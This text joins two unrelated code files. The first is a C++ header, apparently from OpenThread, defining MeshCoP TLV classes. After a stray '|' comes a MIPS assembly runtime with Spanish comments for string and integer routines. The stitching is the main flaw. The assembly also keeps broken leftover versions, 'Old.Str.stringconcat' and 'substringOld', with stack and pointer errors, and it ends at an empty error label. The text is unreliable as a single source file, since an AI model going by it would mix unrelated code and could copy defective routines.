* This class implements Channel Mask Entry generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class ChannelMaskEntryBase
{
public:
/**
* This method gets the ChannelPage value.
*
* @returns The ChannelPage value.
*
*/
uint8_t GetChannelPage(void) const { return mChannelPage; }
/**
* This method sets the ChannelPage value.
*
* @param[in] aChannelPage The ChannelPage value.
*
*/
void SetChannelPage(uint8_t aChannelPage) { mChannelPage = aChannelPage; }
/**
* This method gets the MaskLength value.
*
* @returns The MaskLength value.
*
*/
uint8_t GetMaskLength(void) const { return mMaskLength; }
/**
* This method sets the MaskLength value.
*
* @param[in] aMaskLength The MaskLength value.
*
*/
void SetMaskLength(uint8_t aMaskLength) { mMaskLength = aMaskLength; }
/**
* This method returns the total size of this Channel Mask Entry including the mask.
*
* @returns The total size of this entry (number of bytes).
*
*/
uint16_t GetEntrySize(void) const { return sizeof(ChannelMaskEntryBase) + mMaskLength; }
/**
* This method clears the bit corresponding to @p aChannel in ChannelMask.
*
* @param[in] aChannel The channel in ChannelMask to clear.
*
*/
void ClearChannel(uint8_t aChannel)
{
uint8_t *mask = reinterpret_cast<uint8_t *>(this) + sizeof(*this);
mask[aChannel / 8] &= ~(0x80 >> (aChannel % 8));
}
/**
* This method sets the bit corresponding to @p aChannel in ChannelMask.
*
* @param[in] aChannel The channel in ChannelMask to set.
*
*/
void SetChannel(uint8_t aChannel)
{
uint8_t *mask = reinterpret_cast<uint8_t *>(this) + sizeof(*this);
mask[aChannel / 8] |= 0x80 >> (aChannel % 8);
}
/**
* This method indicates whether or not the bit corresponding to @p aChannel in ChannelMask is set.
*
* @param[in] aChannel The channel in ChannelMask to get.
*
*/
bool IsChannelSet(uint8_t aChannel) const
{
const uint8_t *mask = reinterpret_cast<const uint8_t *>(this) + sizeof(*this);
return (aChannel < (mMaskLength * 8)) ? ((mask[aChannel / 8] & (0x80 >> (aChannel % 8))) != 0) : false;
}
/**
* This method gets the next Channel Mask Entry in a Channel Mask TLV.
*
* @returns A pointer to next Channel Mask Entry.
*
*/
const ChannelMaskEntryBase *GetNext(void) const
{
return reinterpret_cast<const ChannelMaskEntryBase *>(reinterpret_cast<const uint8_t *>(this) + GetEntrySize());
}
/**
* This method gets the next Channel Mask Entry in a Channel Mask TLV.
*
* @returns A pointer to next Channel Mask Entry.
*
*/
ChannelMaskEntryBase *GetNext(void) { return AsNonConst(AsConst(this)->GetNext()); }
private:
uint8_t mChannelPage;
uint8_t mMaskLength;
} OT_TOOL_PACKED_END;
/**
* This class implements Channel Mask Entry Page 0 generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class ChannelMaskEntry : public ChannelMaskEntryBase
{
public:
/**
* This method initializes the entry.
*
*/
void Init(void)
{
SetChannelPage(0);
SetMaskLength(sizeof(mMask));
}
/**
* This method indicates whether or not the entry appears to be well-formed.
*
* @retval TRUE If the entry appears to be well-formed.
* @retval FALSE If the entry does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetMaskLength() == sizeof(mMask); }
/**
* This method returns the Channel Mask value as a `uint32_t` bit mask.
*
* @returns The Channel Mask value.
*
*/
uint32_t GetMask(void) const { return Encoding::Reverse32(HostSwap32(mMask)); }
/**
* This method sets the Channel Mask value.
*
* @param[in] aMask The Channel Mask value.
*
*/
void SetMask(uint32_t aMask) { mMask = HostSwap32(Encoding::Reverse32(aMask)); }
private:
uint32_t mMask;
} OT_TOOL_PACKED_END;
/**
* This class implements Channel Mask TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class ChannelMaskBaseTlv : public Tlv, public TlvInfo<Tlv::kChannelMask>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kChannelMask);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const;
/**
* This method gets the first Channel Mask Entry in the Channel Mask TLV.
*
* @returns A pointer to first Channel Mask Entry or `nullptr` if not found.
*
*/
const ChannelMaskEntryBase *GetFirstEntry(void) const;
/**
* This method gets the first Channel Mask Entry in the Channel Mask TLV.
*
* @returns A pointer to first Channel Mask Entry or `nullptr` if not found.
*
*/
ChannelMaskEntryBase *GetFirstEntry(void);
} OT_TOOL_PACKED_END;
/**
* This class implements Channel Mask TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class ChannelMaskTlv : public ChannelMaskBaseTlv
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kChannelMask);
SetLength(sizeof(*this) - sizeof(Tlv));
memset(mEntries, 0, sizeof(mEntries));
}
/**
* This method sets the Channel Mask Entries.
*
* @param[in] aChannelMask The Channel Mask value.
*
*/
void SetChannelMask(uint32_t aChannelMask);
/**
* This method returns the Channel Mask value as a `uint32_t` bit mask.
*
* @returns The Channel Mask or 0 if not found.
*
*/
uint32_t GetChannelMask(void) const;
/**
* This method reads message and returns the Channel Mask value as a `uint32_t` bit mask.
*
* @param[in] aMessage A reference to the message.
*
* @returns The Channel Mask or 0 if not found.
*
*/
static uint32_t GetChannelMask(const Message &aMessage);
private:
static constexpr uint8_t kNumMaskEntries = Radio::kNumChannelPages;
ChannelMaskEntry mEntries[kNumMaskEntries];
} OT_TOOL_PACKED_END;
/**
* This class implements Energy List TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class EnergyListTlv : public Tlv, public TlvInfo<Tlv::kEnergyList>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kEnergyList);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return true; }
} OT_TOOL_PACKED_END;
/**
* This class implements Provisioning URL TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class ProvisioningUrlTlv : public Tlv, public TlvInfo<Tlv::kProvisioningUrl>
{
public:
/**
* Maximum number of chars in the Provisioning URL string.
*
*/
static constexpr uint16_t kMaxLength = OT_PROVISIONING_URL_MAX_SIZE;
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kProvisioningUrl);
SetLength(0);
}
/*
* This method returns the Provisioning URL length.
*
* @returns The Provisioning URL length.
*
*/
uint8_t GetProvisioningUrlLength(void) const
{
return GetLength() <= sizeof(mProvisioningUrl) ? GetLength() : sizeof(mProvisioningUrl);
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const
{
return GetType() == kProvisioningUrl && mProvisioningUrl[GetProvisioningUrlLength()] == '\0';
}
/**
* This method returns the Provisioning URL value.
*
* @returns The Provisioning URL value.
*
*/
const char *GetProvisioningUrl(void) const { return mProvisioningUrl; }
/**
* This method sets the Provisioning URL value.
*
* @param[in] aProvisioningUrl A pointer to the Provisioning URL value.
*
*/
void SetProvisioningUrl(const char *aProvisioningUrl)
{
uint16_t len = aProvisioningUrl ? StringLength(aProvisioningUrl, kMaxLength) : 0;
SetLength(static_cast<uint8_t>(len));
if (len > 0)
{
memcpy(mProvisioningUrl, aProvisioningUrl, len);
}
}
private:
char mProvisioningUrl[kMaxLength];
} OT_TOOL_PACKED_END;
/**
* This class implements Vendor Name TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class VendorNameTlv : public Tlv, public TlvInfo<Tlv::kVendorName>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kVendorName);
SetLength(0);
}
/**
* This method returns the Vendor Name length.
*
* @returns The Vendor Name length.
*
*/
uint8_t GetVendorNameLength(void) const
{
return GetLength() <= sizeof(mVendorName) ? GetLength() : sizeof(mVendorName);
}
/**
* This method returns the Vendor Name value.
*
* @returns The Vendor Name value.
*
*/
const char *GetVendorName(void) const { return mVendorName; }
/**
* This method sets the Vendor Name value.
*
* @param[in] aVendorName A pointer to the Vendor Name value.
*
*/
void SetVendorName(const char *aVendorName)
{
uint16_t len = (aVendorName == nullptr) ? 0 : StringLength(aVendorName, sizeof(mVendorName));
SetLength(static_cast<uint8_t>(len));
if (len > 0)
{
memcpy(mVendorName, aVendorName, len);
}
}
private:
static constexpr uint8_t kMaxLength = 32;
char mVendorName[kMaxLength];
} OT_TOOL_PACKED_END;
/**
* This class implements Vendor Model TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class VendorModelTlv : public Tlv, public TlvInfo<Tlv::kVendorModel>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kVendorModel);
SetLength(0);
}
/**
* This method returns the Vendor Model length.
*
* @returns The Vendor Model length.
*
*/
uint8_t GetVendorModelLength(void) const
{
return GetLength() <= sizeof(mVendorModel) ? GetLength() : sizeof(mVendorModel);
}
/**
* This method returns the Vendor Model value.
*
* @returns The Vendor Model value.
*
*/
const char *GetVendorModel(void) const { return mVendorModel; }
/**
* This method sets the Vendor Model value.
*
* @param[in] aVendorModel A pointer to the Vendor Model value.
*
*/
void SetVendorModel(const char *aVendorModel)
{
uint16_t len = (aVendorModel == nullptr) ? 0 : StringLength(aVendorModel, sizeof(mVendorModel));
SetLength(static_cast<uint8_t>(len));
if (len > 0)
{
memcpy(mVendorModel, aVendorModel, len);
}
}
private:
static constexpr uint8_t kMaxLength = 32;
char mVendorModel[kMaxLength];
} OT_TOOL_PACKED_END;
/**
* This class implements Vendor SW Version TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class VendorSwVersionTlv : public Tlv, public TlvInfo<Tlv::kVendorSwVersion>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kVendorSwVersion);
SetLength(0);
}
/**
* This method returns the Vendor SW Version length.
*
* @returns The Vendor SW Version length.
*
*/
uint8_t GetVendorSwVersionLength(void) const
{
return GetLength() <= sizeof(mVendorSwVersion) ? GetLength() : sizeof(mVendorSwVersion);
}
/**
* This method returns the Vendor SW Version value.
*
* @returns The Vendor SW Version value.
*
*/
const char *GetVendorSwVersion(void) const { return mVendorSwVersion; }
/**
* This method sets the Vendor SW Version value.
*
* @param[in] aVendorSwVersion A pointer to the Vendor SW Version value.
*
*/
void SetVendorSwVersion(const char *aVendorSwVersion)
{
uint16_t len = (aVendorSwVersion == nullptr) ? 0 : StringLength(aVendorSwVersion, sizeof(mVendorSwVersion));
SetLength(static_cast<uint8_t>(len));
if (len > 0)
{
memcpy(mVendorSwVersion, aVendorSwVersion, len);
}
}
private:
static constexpr uint8_t kMaxLength = 16;
char mVendorSwVersion[kMaxLength];
} OT_TOOL_PACKED_END;
/**
* This class implements Vendor Data TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class VendorDataTlv : public Tlv, public TlvInfo<Tlv::kVendorData>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kVendorData);
SetLength(0);
}
/**
* This method returns the Vendor Data length.
*
* @returns The Vendor Data length.
*
*/
uint8_t GetVendorDataLength(void) const
{
return GetLength() <= sizeof(mVendorData) ? GetLength() : sizeof(mVendorData);
}
/**
* This method returns the Vendor Data value.
*
* @returns The Vendor Data value.
*
*/
const char *GetVendorData(void) const { return mVendorData; }
/**
* This method sets the Vendor Data value.
*
* @param[in] aVendorData A pointer to the Vendor Data value.
*
*/
void SetVendorData(const char *aVendorData)
{
uint16_t len = (aVendorData == nullptr) ? 0 : StringLength(aVendorData, sizeof(mVendorData));
SetLength(static_cast<uint8_t>(len));
if (len > 0)
{
memcpy(mVendorData, aVendorData, len);
}
}
private:
static constexpr uint8_t kMaxLength = 64;
char mVendorData[kMaxLength];
} OT_TOOL_PACKED_END;
/**
* This class implements Vendor Stack Version TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class VendorStackVersionTlv : public Tlv, public TlvInfo<Tlv::kVendorStackVersion>
{
public:
/**
* Default constructor.
*
*/
VendorStackVersionTlv(void)
: mBuildRevision(0)
, mMinorMajor(0)
{
}
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kVendorStackVersion);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the Stack Vendor OUI value.
*
* @returns The Vendor Stack Vendor OUI value.
*
*/
uint32_t GetOui(void) const { return ReadUint24(mOui); }
/**
* This method returns the Stack Vendor OUI value.
*
* @param[in] aOui The Vendor Stack Vendor OUI value.
*
*/
void SetOui(uint32_t aOui) { WriteUint24(aOui, mOui); }
/**
* This method returns the Build value.
*
* @returns The Build value.
*
*/
uint16_t GetBuild(void) const { return (HostSwap16(mBuildRevision) & kBuildMask) >> kBuildOffset; }
/**
* This method sets the Build value.
*
* @param[in] aBuild The Build value.
*
*/
void SetBuild(uint16_t aBuild)
{
mBuildRevision =
HostSwap16((HostSwap16(mBuildRevision) & ~kBuildMask) | ((aBuild << kBuildOffset) & kBuildMask));
}
/**
* This method returns the Revision value.
*
* @returns The Revision value.
*
*/
uint8_t GetRevision(void) const { return (HostSwap16(mBuildRevision) & kRevMask) >> kRevOffset; }
/**
* This method sets the Revision value.
*
* @param[in] aRevision The Revision value.
*
*/
void SetRevision(uint8_t aRevision)
{
mBuildRevision = HostSwap16((HostSwap16(mBuildRevision) & ~kRevMask) | ((aRevision << kRevOffset) & kRevMask));
}
/**
* This method returns the Minor value.
*
* @returns The Minor value.
*
*/
uint8_t GetMinor(void) const { return (mMinorMajor & kMinorMask) >> kMinorOffset; }
/**
* This method sets the Minor value.
*
* @param[in] aMinor The Minor value.
*
*/
void SetMinor(uint8_t aMinor)
{
mMinorMajor = (mMinorMajor & ~kMinorMask) | ((aMinor << kMinorOffset) & kMinorMask);
}
/**
* This method returns the Major value.
*
* @returns The Major value.
*
*/
uint8_t GetMajor(void) const { return (mMinorMajor & kMajorMask) >> kMajorOffset; }
/**
* This method sets the Major value.
*
* @param[in] aMajor The Major value.
*
*/
void SetMajor(uint8_t aMajor)
{
mMinorMajor = (mMinorMajor & ~kMajorMask) | ((aMajor << kMajorOffset) & kMajorMask);
}
private:
// For `mBuildRevision`
static constexpr uint8_t kBuildOffset = 4;
static constexpr uint16_t kBuildMask = 0xfff << kBuildOffset;
static constexpr uint8_t kRevOffset = 0;
static constexpr uint16_t kRevMask = 0xf << kBuildOffset;
// For `mMinorMajor`
static constexpr uint8_t kMinorOffset = 4;
static constexpr uint8_t kMinorMask = 0xf << kMinorOffset;
static constexpr uint8_t kMajorOffset = 0;
static constexpr uint8_t kMajorMask = 0xf << kMajorOffset;
uint8_t mOui[3];
uint16_t mBuildRevision;
uint8_t mMinorMajor;
} OT_TOOL_PACKED_END;
/**
* This class implements UDP Encapsulation TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class UdpEncapsulationTlv : public ExtendedTlv, public TlvInfo<MeshCoP::Tlv::kUdpEncapsulation>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(MeshCoP::Tlv::kUdpEncapsulation);
SetLength(sizeof(*this) - sizeof(ExtendedTlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(ExtendedTlv); }
/**
* This method returns the source port.
*
* @returns The source port.
*
*/
uint16_t GetSourcePort(void) const { return HostSwap16(mSourcePort); }
/**
* This method updates the source port.
*
* @param[in] aSourcePort The source port.
*
*/
void SetSourcePort(uint16_t aSourcePort) { mSourcePort = HostSwap16(aSourcePort); }
/**
* This method returns the destination port.
*
* @returns The destination port.
*
*/
uint16_t GetDestinationPort(void) const { return HostSwap16(mDestinationPort); }
/**
* This method updates the destination port.
*
* @param[in] aDestinationPort The destination port.
*
*/
void SetDestinationPort(uint16_t aDestinationPort) { mDestinationPort = HostSwap16(aDestinationPort); }
/**
* This method returns the calculated UDP length.
*
* @returns The calculated UDP length.
*
*/
uint16_t GetUdpLength(void) const { return GetLength() - sizeof(mSourcePort) - sizeof(mDestinationPort); }
/**
* This method updates the UDP length.
*
* @param[in] aLength The length of UDP payload in bytes.
*
*/
void SetUdpLength(uint16_t aLength) { SetLength(sizeof(mSourcePort) + sizeof(mDestinationPort) + aLength); }
private:
uint16_t mSourcePort;
uint16_t mDestinationPort;
} OT_TOOL_PACKED_END;
/**
* This class implements Discovery Request TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class DiscoveryRequestTlv : public Tlv, public TlvInfo<Tlv::kDiscoveryRequest>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kDiscoveryRequest);
SetLength(sizeof(*this) - sizeof(Tlv));
mFlags = 0;
mReserved = 0;
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the Version value.
*
* @returns The Version value.
*
*/
uint8_t GetVersion(void) const { return mFlags >> kVersionOffset; }
/**
* This method sets the Version value.
*
* @param[in] aVersion The Version value.
*
*/
void SetVersion(uint8_t aVersion)
{
mFlags = (mFlags & ~kVersionMask) | ((aVersion << kVersionOffset) & kVersionMask);
}
/**
* This method indicates whether or not the Joiner flag is set.
*
* @retval TRUE If the Joiner flag is set.
* @retval FALSE If the Joiner flag is not set.
*
*/
bool IsJoiner(void) const { return (mFlags & kJoinerMask) != 0; }
/**
* This method sets the Joiner flag.
*
* @param[in] aJoiner TRUE if set, FALSE otherwise.
*
*/
void SetJoiner(bool aJoiner)
{
if (aJoiner)
{
mFlags |= kJoinerMask;
}
else
{
mFlags &= ~kJoinerMask;
}
}
private:
static constexpr uint8_t kVersionOffset = 4;
static constexpr uint8_t kVersionMask = 0xf << kVersionOffset;
static constexpr uint8_t kJoinerOffset = 3;
static constexpr uint8_t kJoinerMask = 1 << kJoinerOffset;
uint8_t mFlags;
uint8_t mReserved;
} OT_TOOL_PACKED_END;
/**
* This class implements Discovery Response TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class DiscoveryResponseTlv : public Tlv, public TlvInfo<Tlv::kDiscoveryResponse>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kDiscoveryResponse);
SetLength(sizeof(*this) - sizeof(Tlv));
mFlags = 0;
mReserved = 0;
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the Version value.
*
* @returns The Version value.
*
*/
uint8_t GetVersion(void) const { return mFlags >> kVersionOffset; }
/**
* This method sets the Version value.
*
* @param[in] aVersion The Version value.
*
*/
void SetVersion(uint8_t aVersion)
{
mFlags = (mFlags & ~kVersionMask) | ((aVersion << kVersionOffset) & kVersionMask);
}
/**
* This method indicates whether or not the Native Commissioner flag is set.
*
* @retval TRUE If the Native Commissioner flag is set.
* @retval FALSE If the Native Commissioner flag is not set.
*
*/
bool IsNativeCommissioner(void) const { return (mFlags & kNativeMask) != 0; }
/**
* This method sets the Native Commissioner flag.
*
* @param[in] aNativeCommissioner TRUE if set, FALSE otherwise.
*
*/
void SetNativeCommissioner(bool aNativeCommissioner)
{
if (aNativeCommissioner)
{
mFlags |= kNativeMask;
}
else
{
mFlags &= ~kNativeMask;
}
}
/**
* This method indicates whether or not the Commercial Commissioning Mode flag is set.
*
* @retval TRUE If the Commercial Commissioning Mode flag is set.
* @retval FALSE If the Commercial Commissioning Mode flag is not set.
*
*/
bool IsCommercialCommissioningMode(void) const { return (mFlags & kCCMMask) != 0; }
/**
* This method sets the Commercial Commissioning Mode flag.
*
* @param[in] aCCM TRUE if set, FALSE otherwise.
*
*/
void SetCommercialCommissioningMode(bool aCCM)
{
if (aCCM)
{
mFlags |= kCCMMask;
}
else
{
mFlags &= ~kCCMMask;
}
}
private:
static constexpr uint8_t kVersionOffset = 4;
static constexpr uint8_t kVersionMask = 0xf << kVersionOffset;
static constexpr uint8_t kNativeOffset = 3;
static constexpr uint8_t kNativeMask = 1 << kNativeOffset;
static constexpr uint8_t kCCMOffset = 2;
static constexpr uint8_t kCCMMask = 1 << kCCMOffset;
uint8_t mFlags;
uint8_t mReserved;
} OT_TOOL_PACKED_END;
/**
* This class implements Joiner Advertisement TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class JoinerAdvertisementTlv : public Tlv, public TlvInfo<Tlv::kJoinerAdvertisement>
{
public:
static constexpr uint8_t kAdvDataMaxLength = OT_JOINER_ADVDATA_MAX_LENGTH; ///< The Max Length of AdvData
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kJoinerAdvertisement);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(mOui) && GetLength() <= sizeof(mOui) + sizeof(mAdvData); }
/**
* This method returns the Vendor OUI value.
*
* @returns The Vendor OUI value.
*
*/
uint32_t GetOui(void) const { return ReadUint24(mOui); }
/**
* This method sets the Vendor OUI value.
*
* @param[in] aOui The Vendor OUI value.
*
*/
void SetOui(uint32_t aOui) { return WriteUint24(aOui, mOui); }
/**
* This method returns the Adv Data length.
*
* @returns The AdvData length.
*
*/
uint8_t GetAdvDataLength(void) const { return GetLength() - sizeof(mOui); }
/**
* This method returns the Adv Data value.
*
* @returns A pointer to the Adv Data value.
*
*/
const uint8_t *GetAdvData(void) const { return mAdvData; }
/**
* This method sets the Adv Data value.
*
* @param[in] aAdvData A pointer to the AdvData value.
* @param[in] aAdvDataLength The length of AdvData in bytes.
*
*/
void SetAdvData(const uint8_t *aAdvData, uint8_t aAdvDataLength)
{
OT_ASSERT((aAdvData != nullptr) && (aAdvDataLength > 0) && (aAdvDataLength <= kAdvDataMaxLength));
SetLength(aAdvDataLength + sizeof(mOui));
memcpy(mAdvData, aAdvData, aAdvDataLength);
}
private:
uint8_t mOui[3];
uint8_t mAdvData[kAdvDataMaxLength];
} OT_TOOL_PACKED_END;
} // namespace MeshCoP
} // namespace ot
#endif // MESHCOP_TLVS_HPP_
|
#$a0 debe ser el string
.IO.out_string:
li $v0, 4
syscall
jr $ra
#$a0 debe ser el string
.IO.out_int:
li $v0, 1
syscall
jr $ra
.IO.in_int:
li $v0, 5
syscall
jr $ra
.IO.in_string:
li $v0, 9
move $s0, $a0
li $a0, 1024
syscall
move $t1, $v0
move $a0, $v0
li $a1, 1024
li $v0, 8
syscall
move $v0, $t1
#Buscando y arreglando posible salto de linea
move $t0, $v0
move $t1, $zero
li $t2, 10
Iniciochequeofinlinea:
lb $t1, 0($t0)
beq $t1, $t2, Cambiafinlinea
addi $t0, $t0, 1
bne $t1, $zero, Iniciochequeofinlinea
jr $ra
Cambiafinlinea:
sb $zero, 0($t0)
jr $ra
#Los numeros como argumentos $a0 y $a1, y $a2 como donde guardar el resultado
.Int.suma:
lw $t1, 0($a0)
lw $t2, 0($a1)
add $v0, $t1, $t2
sw $v0, 0($a2)
jr $ra
.Int.resta:
lw $t1, 0($a0)
lw $t2, 0($a1)
sub $v0, $t1, $t2
sw $v0, 0($a2)
jr $ra
.Int.multiplicacion:
lw $t1, 0($a0)
lw $t2, 0($a1)
mult $t1, $t2
mflo $v0
sw $v0, 0($a2)
jr $ra
.Int.division:
lw $t1, 0($a0)
lw $t2, 0($a1)
div $t1, $t2
mflo $v0
sw $v0, 0($a2)
jr $ra
.Int.lesser:
lw $t1, 0($a0)
lw $t2, 0($a1)
blt $t1, $t2, LesserTrue
move $v0, $zero
b LesserEnd
LesserTrue:
li $v0, 1
LesserEnd:
sw $v0, 0($a2)
jr $ra
.Int.lesserequal:
lw $t1, 0($a0)
lw $t2, 0($a1)
ble $t1, $t2, LesserEqualTrue
li $v0, 0
b LesserEqualEnd
LesserEqualTrue:
li $v0, 1
LesserEqualEnd:
sw $v0, 0($a2)
jr $ra
.Int.not:
lw $t1, 0($a0)
move $t2, $zero
beq $t1, $t2, FalseBool
li $v0, 0
b NotBool
FalseBool:
li $v0, 1
NotBool:
sw $v0, 0($a1)
jr $ra
.Int.igual:
move $t1, $a0
move $t2, $a1
beq $t1, $t2, Iguales
li $v0, 0
b FinalIgual
Iguales:
li $v0, 1
FinalIgual:
sw $v0, 0($a2)
jr $ra
.Str.stringlength:
move $t1, $a0
move $v0, $zero
move $t2, $zero
InicioStrLen:
add $t0, $t1, $v0
lb $t2, 0($t0)
beq $t2, $zero, FinStrLen
addi $v0, $v0, 1
b InicioStrLen
FinStrLen:
#sw $v0, 0($a1) El protocolo cambio
jr $ra
.Object.abort:
li $v0, 4
la $a0, StringAbort
syscall
li $v0, 10
syscall
jr $ra
.Str.stringcomparison:
move $t1, $a0
move $t2, $a1
move $v0, $zero
move $t3, $zero
move $t4, $zero
move $v0, $zero
StrCompCiclo:
add $t0, $t1, $v0
lb $t3, 0($t0)
add $t0, $t2, $v0
lb $t4, 0($t0)
addi $v0, $v0, 1
bne $t3, $t4, StrDiferentes
beq $t3, $zero, StrIguales
b StrCompCiclo
StrDiferentes:
move $v0, $zero
jr $ra
StrIguales:
li $v0, 1
jr $ra
.Str.stringconcat:
addi $sp, $sp, -20
sw $s0, 0($sp)
sw $s1, 4($sp)
sw $s2, 8($sp)
sw $s3, 12($sp)
sw $s4, 16($sp)
move $s0, $a0
move $s1, $a1
move $s2, $a2
move $s3, $ra
jal .Str.stringlength
move $s4, $v0
move $a0, $s1
jal .Str.stringlength
add $s4, $s4, $v0
addi $s4, $s4, 1
#Reservando memoria
move $a0, $s4
li $v0, 9
syscall
move $t0, $v0
move $t1, $zero
move $t2, $s0
move $t3, $s1
InicioCicloCopia:
lb $t1, 0($t2)
beq $t1, $zero, SegundoString
sb $t1, 0($t0)
addi $t0, $t0, 1
addi $t2, $t2, 1
b InicioCicloCopia
SegundoString:
lb $t1, 0($t3)
beq $t1, $zero, FinalCopia
sb $t1, 0($t0)
addi $t0, $t0, 1
addi $t3, $t3, 1
b SegundoString
FinalCopia:
sb $zero, 0($t0)
move $a0, $s0
move $a1, $s1
move $a2, $s2
move $ra, $s3
lw $s0, 0($sp)
lw $s1, 4($sp)
lw $s2, 8($sp)
lw $s3, 12($sp)
lw $s4, 16($sp)
addi $sp, $sp, 20
jr $ra
#Old.Str.stringconcat:
#Salvando registros
addi $sp, $sp, -20
sw $s0, 4($sp)
sw $s1, 8($sp)
sw $s2, 12($sp)
sw $s3, 16($sp)
move $s0, $a0
move $s1, $a1
move $s2, $a2
move $s3, $ra
#sw $a0, 0($sp)
#Obteniendo el lenght de la nueva cadena
jal .Str.stringlength
move $s4, $v0
move $a0, $s1
#move $a1, $sp
jal .Str.stringlength
add $s4, $s4, $v0
addi $sp, $sp, 4
addi $s4, $s4, 1
#Reservando memoria
move $a0, $s4
li $v0, 9
syscall
move $t0, $v0
move $t1, $s0
move $t2, $zero
move $t3, $zero
StrCicloCopia:
lb $t2, 0($t1)
addi $t1, 1
addi $t0, 1
bne $t2, $zero, StrCicloCopia
sb $t2, 0($t0)
bne $t3, $zero, StrFinCopia
move $t1, $s1
b StrCicloCopia
StrFinCopia:
sb $zero, 0($t0)
#sw $v0, 0($s2)
move $a0, $s0
move $a1, $s1
move $a2, $s2
move $ra, $s3
lw $s0, 4($sp)
lw $s1, 8($sp)
lw $s2, 12($sp)
lw $s3, 16($sp)
addi $sp, $sp, 20
jr $ra
.Str.substring:
addi $sp, $sp, -16
sw $s0 4($sp)
sw $s1 8($sp)
sw $s2 12($sp)
move $s0, $a0
move $s1, $a1
move $s2, $a2
addi $a0, $a2, 1
li $v0, 9
syscall
add $t0, $s0, $s1
move $t1, $zero
move $t2, $zero
iniciocopianuevosubstr:
add $t3, $v0, $t1
lb $t2, 0($t0)
sb $t2, 0($t3)
addi $t0, $t0, 1
addi $t1, $t1, 1
blt $t1, $s2, iniciocopianuevosubstr
add $t3, $v0, $t1
sb $zero, 0($t3)
move $a0, $s0
move $a1, $s1
move $a2, $s2
lw $s0, 4($sp)
lw $s1, 8($sp)
lw $s2, 12($sp)
addi $sp, $sp, 16
jr $ra
.Str.substringOld:
blt $a1, $zero, SubStrWrongIndex
addi $sp, $sp, -20
sw $s0 4($sp)
sw $s1 8($sp)
sw $s2 12($sp)
sw $s3 16($sp)
move $s0, $a0
move $s1, $a1
move $s2, $a2
move $s3, $ra
jal .Str.stringlength
blt $v0, $s1, SubStrWrongIndex
addi $v0, $v0, 1
#Reservando memoria
move $a0, $v0
li $v0, 9
syscall
move $t0, $v0
move $t1, $s0
move $t2, $zero
StrInicioCopiaSubStr:
lb $t3, 0($t1)
sb $t3, 0($t0)
addi $t0, $t0, 1
addi $t1, $t0, 1
addi $t2, $t2, 1
ble $t2, $s1, StrInicioCopiaSubStr
sb $zero, 0($t0)
sw $v0, 0($s2)
move $ra, $s3
move $a0, $s0
move $a1, $s1
move $a2, $s2
lw $s0, 4($sp)
lw $s1, 8($sp)
lw $s2, 12($sp)
lw $s3, 16($sp)
addi $sp, $sp, 20
jr $ra
SubStrWrongIndex:
